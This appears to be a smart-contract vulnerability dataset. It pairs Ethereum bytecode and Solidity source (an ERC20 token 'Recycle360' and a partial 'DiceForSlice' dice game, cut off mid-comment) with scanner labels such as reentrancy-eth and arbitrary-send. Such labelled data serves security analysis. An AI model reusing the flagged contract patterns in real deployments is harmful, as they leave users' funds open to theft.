3565b61094a565b3480156102a457600080fd5b5061013861096c565b3480156102b957600080fd5b506000546040516001600160a01b039091168152602001610175565b3480156102e157600080fd5b5060408051808201909152600581526449564f525960d81b6020820152610168565b34801561030f57600080fd5b5061019e61031e366004611873565b6109e0565b34801561032f57600080fd5b506101386109ed565b34801561034457600080fd5b5061013861035336600461199d565b610a23565b34801561036457600080fd5b506101c46103733660046117fb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103d15760405162461bcd60e51b81526004016103c890611a35565b60405180910390fd5b60005b8151811015610447576001600a600084848151811061040357634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061043f81611b48565b9150506103d4565b5050565b6000610458338484610af4565b5060015b92915050565b600061046f848484610c18565b6104c184336104bc85604051806060016040528060288152602001611bb3602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061102a565b610af4565b5060019392505050565b6000546001600160a01b031633146104f55760405162461bcd60e51b81526004016103c890611a35565b600f54600160a01b900460ff161561054f5760405162461bcd60e51b815260206004820152601a60248201527f74726164696e6720697320616c7265616479207374617274656400000000000060448201526064016103c8565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561058a308266038d7ea4c68000610af4565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156105c357600080fd5b505afa1580156105d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105fb91906117df565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561064357600080fd5b505afa158015610657573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067b91906117df565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156106c357600080fd5b505af11580156106d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106fb91906117df565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061072b8161094a565b6000806107406000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156107a357600080fd5b505af11580156107b7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107dc91906119b5565b5050600f8054650417bce6c80060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561085257600080fd5b505af1158015610866573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104479190611981565b6000546001600160a01b031633146108b45760405162461bcd60e51b81526004016103c890611a35565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146108fc5760405162461bcd60e51b81526004016103c890611a35565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b600c546001600160a01b0316336001600160a01b03161461093d57600080fd5b4761094781611064565b50565b6001600160a01b03811660009081526002602052604081205461045c906110e9565b6000546001600160a01b031633146109965760405162461bcd60e51b81526004016103c890611a35565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610458338484610c18565b600c546001600160a01b0316336001600160a01b031614610a0d57600080fd5b6000610a183061094a565b90506109478161116d565b6000546001600160a01b03163314610a4d5760405162461bcd60e51b81526004016103c890611a35565b60008111610a9d5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016103c8565b610ab96064610ab366038d7ea4c6800084611312565b90611391565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b565760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c8565b6001600160a01b038216610bb75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103c8565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c7c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103c8565b6001600160a01b038216610cde5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103c8565b60008111610d405760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103c8565b6000546001600160a01b03848116911614801590610d6c57506000546001600160a01b03838116911614155b15610fcd57600f54600160b81b900460ff1615610e53576001600160a01b0383163014801590610da557506001600160a01b0382163014155b8015610dbf5750600e546001600160a01b03848116911614155b8015610dd95750600e546001600160a01b03838116911614155b15610e5357600e546001600160a01b0316336001600160a01b03161480610e135750600f546001600160a01b0316336001600160a01b0316145b610e535760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016103c8565b601054811115610e6257600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610ea457506001600160a01b0382166000908152600a602052604090205460ff16155b610ead57600080fd5b600f546001600160a01b038481169116148015610ed85750600e546001600160a01b03838116911614155b8015610efd57506001600160a01b03821660009081526005602052604090205460ff16155b8015610f125750600f54600160b81b900460ff165b15610f60576001600160a01b0382166000908152600b60205260409020544211610f3b57600080fd5b610f4642600a611ada565b6001600160a01b0383166000908152600b60205260409020555b6000610f6b3061094a565b600f54909150600160a81b900460ff16158015610f965750600f546001600160a01b03858116911614155b8015610fab5750600f54600160b01b900460ff165b15610fcb57610fb98161116d565b478015610fc957610fc947611064565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061100f57506001600160a01b03831660009081526005602052604090205460ff165b15611018575060005b611024848484846113d3565b50505050565b6000818484111561104e5760405162461bcd60e51b81526004016103c891906119e2565b50600061105b8486611b31565b95945050505050565b600c546001600160a01b03166108fc61107e836002611391565b6040518115909202916000818181858888f193505050501580156110a6573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110c1836002611391565b6040518115909202916000818181858888f19350505050158015610447573d6000803e3d6000fd5b60006006548211156111505760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103c8565b600061115a6113ff565b90506111668382611391565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111c357634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561121757600080fd5b505afa15801561122b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124f91906117df565b8160018151811061127057634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112969130911684610af4565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112cf908590600090869030904290600401611a6a565b600060405180830381600087803b1580156112e957600080fd5b505af11580156112fd573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000826113215750600061045c565b600061132d8385611b12565b90508261133a8583611af2565b146111665760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103c8565b600061116683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611422565b806113e0576113e0611450565b6113eb848484611473565b80611024576110246005600855600a600955565b600080600061140c61156a565b909250905061141b8282611391565b9250505090565b600081836114435760405162461bcd60e51b81526004016103c891906119e2565b50600061105b8486611af2565b6008541580156114605750600954155b1561146757565b60006008819055600955565b600080600080600080611485876115a8565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114b79087611605565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114e69086611647565b6001600160a01b038916600090815260026020526040902055611508816116a6565b61151284836116f0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161155791815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c680006115848282611391565b82101561159f5750506006549266038d7ea4c6800092509050565b90939092509050565b60008060008060008060008060006115c58a600854600954611714565b92509250925060006115d56113ff565b905060008060006115e88e878787611763565b919e509c509a509598509396509194505050505091939550919395565b600061116683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061102a565b6000806116548385611ada565b9050838110156111665760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103c8565b60006116b06113ff565b905060006116be8383611312565b306000908152600260205260409020549091506116db9082611647565b30600090815260026020526040902055505050565b6006546116fd9083611605565b60065560075461170d9082611647565b6007555050565b60008080806117286064610ab38989611312565b9050600061173b6064610ab38a89611312565b905060006117538261174d8b86611605565b90611605565b9992985090965090945050505050565b60008080806117728886611312565b905060006117808887611312565b9050600061178e8888611312565b905060006117a08261174d8686611605565b939b939a50919850919650505050505050565b80356117be81611b8f565b919050565b6000602082840312156117d4578081fd5b813561116681611b8f565b6000602082840312156117f0578081fd5b815161116681611b8f565b6000806040838503121561180d578081fd5b823561181881611b8f565b9150602083013561182881611b8f565b809150509250929050565b600080600060608486031215611847578081fd5b833561185281611b8f565b9250602084013561186281611b8f565b929592945050506040919091013590565b60008060408385031215611885578182fd5b823561189081611b8f565b946020939093013593505050565b600060208083850312156118b0578182fd5b823567ffffffffffffffff808211156118c7578384fd5b818501915085601f8301126118da578384fd5b8135818111156118ec576118ec611b79565b8060051b604051601f19603f8301168101818110858211171561191157611911611b79565b604052828152858101935084860182860187018a101561192f578788fd5b8795505b8386101561195857611944816117b3565b855260019590950194938601938601611933565b5098975050505050505050565b600060208284031215611976578081fd5b813561116681611ba4565b600060208284031215611992578081fd5b815161116681611ba4565b6000602082840312156119ae578081fd5b5035919050565b6000806000606084860312156119c9578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a0e578581018301518582016040015282016119f2565b81811115611a1f5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ab95784516001600160a01b031683529383019391830191600101611a94565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611aed57611aed611b63565b500190565b600082611b0d57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b2c57611b2c611b63565b500290565b600082821015611b4357611b43611b63565b500390565b6000600019821415611b5c57611b5c611b63565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461094757600080fd5b801515811461094757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e14ff01c52b6ae3c19d5e3473a18fc7e2c029580e84256a173bf503cde885b1064736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,474
0x18e5981fa0fa2e1677ffd8fce7243d13275dccfb
/** *Submitted for verification at Etherscan.io on 2021-11-25 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.0; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the ERC token owner. */ function getOwner() external view returns (address); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () { } function _msgSender() internal view returns (address) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode return msg.data; } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor (){ address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Recycle360 is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint8 private _decimals; string private _symbol; string private _name; constructor() { _name = "Recycle 360"; _symbol = "R360"; _decimals = 18; _totalSupply = 1000000000 * 10**18; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } /** * @dev Returns the ERC token owner. */ function getOwner() external override view returns (address) { return owner(); } /** * @dev Returns the token decimals. */ function decimals() external override view returns (uint8) { return _decimals; } /** * @dev Returns the token symbol. */ function symbol() external override view returns (string memory) { return _symbol; } /** * @dev Returns the token name. */ function name() external override view returns (string memory) { return _name; } /** * @dev See {ERC20-totalSupply}. */ function totalSupply() external override view returns (uint256) { return _totalSupply; } /** * @dev See {ERC20-balanceOf}. */ function balanceOf(address account) external override view returns (uint256) { return _balances[account]; } /** * @dev See {ERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {ERC20-allowance}. */ function allowance(address owner, address spender) external override view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {ERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {ERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063893d20e81161008c578063a457c2d711610066578063a457c2d7146101e4578063a9059cbb146101f7578063dd62ed3e1461020a578063f2fde38b1461024357600080fd5b8063893d20e8146101a65780638da5cb5b146101cb57806395d89b41146101dc57600080fd5b806323b872dd116100c857806323b872dd14610142578063313ce56714610155578063395093511461016a57806370a082311461017d57600080fd5b806306fdde03146100ef578063095ea7b31461010d57806318160ddd14610130575b600080fd5b6100f7610258565b6040516101049190610950565b60405180910390f35b61012061011b366004610926565b6102ea565b6040519015158152602001610104565b6003545b604051908152602001610104565b6101206101503660046108ea565b610300565b60045460405160ff9091168152602001610104565b610120610178366004610926565b610369565b61013461018b36600461089c565b6001600160a01b031660009081526001602052604090205490565b6000546001600160a01b03165b6040516001600160a01b039091168152602001610104565b6000546001600160a01b03166101b3565b6100f761039f565b6101206101f2366004610926565b6103ae565b610120610205366004610926565b6103fd565b6101346102183660046108b7565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61025661025136600461089c565b61040a565b005b606060068054610267906109d4565b80601f0160208091040260200160405190810160405280929190818152602001828054610293906109d4565b80156102e05780601f106102b5576101008083540402835291602001916102e0565b820191906000526020600020905b8154815290600101906020018083116102c357829003601f168201915b5050505050905090565b60006102f7338484610475565b50600192915050565b600061030d84848461059a565b61035f843361035a85604051806060016040528060288152602001610a4c602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610720565b610475565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916102f791859061035a908661075a565b606060058054610267906109d4565b60006102f7338461035a85604051806060016040528060258152602001610a74602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610720565b60006102f733848461059a565b6000546001600160a01b031633146104695760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b610472816107c0565b50565b6001600160a01b0383166104d75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610460565b6001600160a01b0382166105385760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610460565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166105fe5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610460565b6001600160a01b0382166106605760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610460565b61069d81604051806060016040528060268152602001610a26602691396001600160a01b0386166000908152600160205260409020549190610720565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546106cc908261075a565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061058d9085815260200190565b600081848411156107445760405162461bcd60e51b81526004016104609190610950565b50600061075184866109bd565b95945050505050565b60008061076783856109a5565b9050838110156107b95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610460565b9392505050565b6001600160a01b0381166108255760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610460565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b80356001600160a01b038116811461089757600080fd5b919050565b6000602082840312156108ae57600080fd5b6107b982610880565b600080604083850312156108ca57600080fd5b6108d383610880565b91506108e160208401610880565b90509250929050565b6000806000606084860312156108ff57600080fd5b61090884610880565b925061091660208501610880565b9150604084013590509250925092565b6000806040838503121561093957600080fd5b61094283610880565b946020939093013593505050565b600060208083528351808285015260005b8181101561097d57858101830151858201604001528201610961565b8181111561098f576000604083870101525b50601f01601f1916929092016040019392505050565b600082198211156109b8576109b8610a0f565b500190565b6000828210156109cf576109cf610a0f565b500390565b600181811c908216806109e857607f821691505b60208210811415610a0957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b96df33af824710f109d4a867435f7b87430f6a97139a8d79d8ec85ef47c4e4064736f6c63430008070033
{"success": true, "error": null, "results": {}}
10,475
0x997351b8cad2e1b531d6480ec0242fdc51a8ae09
pragma solidity ^0.4.16; /** * This contract specially developed for http://diceforslice.co * * What is it? * This is a game that allows you to win an amount of ETH to your personal ethereum address. * The possible winning depends on your stake and on amount of ETH in the bank. * * Wanna profit? * Be a sponsor or referral - read more on http://diceforslice.co * * Win chances: * 1 dice = 1/6 * 2 dice = 1/18 * 3 dice = 1/36 * 4 dice = 1/54 * 5 dice = 1/64 */ /** * @title Math * @dev Math operations with safety checks that throw on error. Added: random and "float" divide for numbers */ library Math { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function divf(int256 numerator, int256 denominator, uint256 precision) internal pure returns(int256) { int256 _numerator = numerator * int256(10 ** (precision + 1)); int256 _quotient = ((_numerator / denominator) + 5) / 10; return _quotient; } function percent(uint256 value, uint256 per) internal pure returns(uint256) { return uint256((divf(int256(value), 100, 4) * int256(per)) / 10000); } } /** * @title Randomizer * @dev Fuck me... >_< */ contract Randomizer { function getRandomNumber(int256 min, int256 max) public returns(int256); } /** * @title Ownable * @dev Check contract ownable for some admin operations */ contract Ownable { address public owner; modifier onlyOwner() { require(msg.sender == owner); _; } function Ownable() public { owner = msg.sender; } function updateContractOwner(address newOwner) external onlyOwner { require(newOwner != address(0)); owner = newOwner; } } /** * @dev General contract */ contract DiceForSlice is Ownable { // Contract events event UserBet (address user, uint8 number1, uint8 number2, uint8 number3, uint8 number4, uint8 number5); event DiceRoll (uint8 number1, uint8 number2, uint8 number3, uint8 number4, uint8 number5); event Loser (address loser); event WeHaveAWinner (address winner, uint256 amount); event OMGItIsJackPot(address winner); // Address storage for referral system mapping(address => uint256) private bets; // Randomizer contract Randomizer private rand; // Sponsor data address private sponsor; uint256 private sponsorDiff = 100000000000000000; uint256 public sponsorValue = 0; // Current balances of contract // -bank - available reward value // -stock - available value for restore bank in emergency uint256 public bank = 0; uint256 public stock = 0; // Bet price uint256 private betPrice = 500000000000000000; // Current bet split rules (in percent) uint8 private partBank = 55; uint8 private partOwner = 20; uint8 private partSponsor = 12; uint8 private partStock = 10; uint8 private partReferral = 3; // Current rewards (in percent from bank) uint8 private rewardOne = 10; uint8 private rewardTwo = 20; uint8 private rewardThree = 30; uint8 private rewardFour = 50; uint8 private jackPot = 100; // Current number min max uint8 private minNumber = 1; uint8 private maxNumber = 6; /** * @dev Check is valid msg value */ modifier isValidBet(uint8 reward) { require(msg.value == Math.percent(betPrice, reward)); _; } /** * @dev Check bank not empty (empty is < betPrice eth) */ modifier bankNotEmpty() { require(bank >= Math.percent(betPrice, rewardTwo)); require(address(this).balance >= bank); _; } /** * @dev Set randomizer address */ function setRandomizer(address _rand) external onlyOwner { rand = Randomizer(_rand); } /** * @dev Special method for fill contract bank */ function fillTheBank() external payable { require(msg.value >= sponsorDiff); if (msg.value >= sponsorValue + sponsorDiff) { sponsorValue = msg.value; sponsor = msg.sender; } bank = Math.add(bank, msg.value); } /** * @dev Restore value from stock */ function appendStock(uint256 amount) external onlyOwner { require(amount > 0); require(stock >= amount); bank = Math.add(bank, amount); stock = Math.sub(stock, amount); } /** * @dev Get full contract balance */ function getBalance() public view returns(uint256) { return address(this).balance; } /** * @dev Get random number */ function getRN() internal returns(uint8) { return uint8(rand.getRandomNumber(minNumber, maxNumber + minNumber)); } /** * @dev Check is valid number */ function isValidNumber(uint8 number) private view returns(bool) { return number >= minNumber && number <= maxNumber; } /** * @dev Split user bet in some pieces: * - 55% go to bank * 